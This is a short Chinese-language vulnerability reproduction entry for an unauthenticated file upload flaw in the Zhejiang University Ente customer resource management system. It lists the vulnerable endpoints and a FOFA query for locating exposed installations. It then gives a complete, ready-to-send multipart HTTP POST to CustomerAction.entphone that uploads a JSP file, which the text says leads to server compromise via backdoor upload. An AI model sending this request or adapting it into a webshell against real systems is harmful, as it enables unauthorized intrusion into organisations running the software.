Z1-6浙大恩特-客户资源管理系统-文件上传
漏洞描述:
浙大恩特客户资源管理系统中fileupload.jsp、CustomerAction.entphone、MailAction.entphone、machord_doc.jsp等接口处存在文件上传漏洞,未经身份认证的攻击者可以上传任意后门文件,最终可导致服务器失陷。
网站图片:
网络测绘:
fofa语法:
FOFA:app=“浙大恩特客户资源管理系统”
漏洞复现:
payload:
POST /entsoft/CustomerAction.entphone;.js?method=loadFile HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarye8FPHsIAq9JN8j2A
------WebKitFormBoundarye8FPHsIAq9JN8j2A
Content-Disposition: form-data; name="file";filename="2.jsp"
Content-Type: image/jpeg
<%out.print("test");%>
------WebKitFormBoundarye8FPHsIAq9JN8j2A--
效果图:
回显了上传路径
验证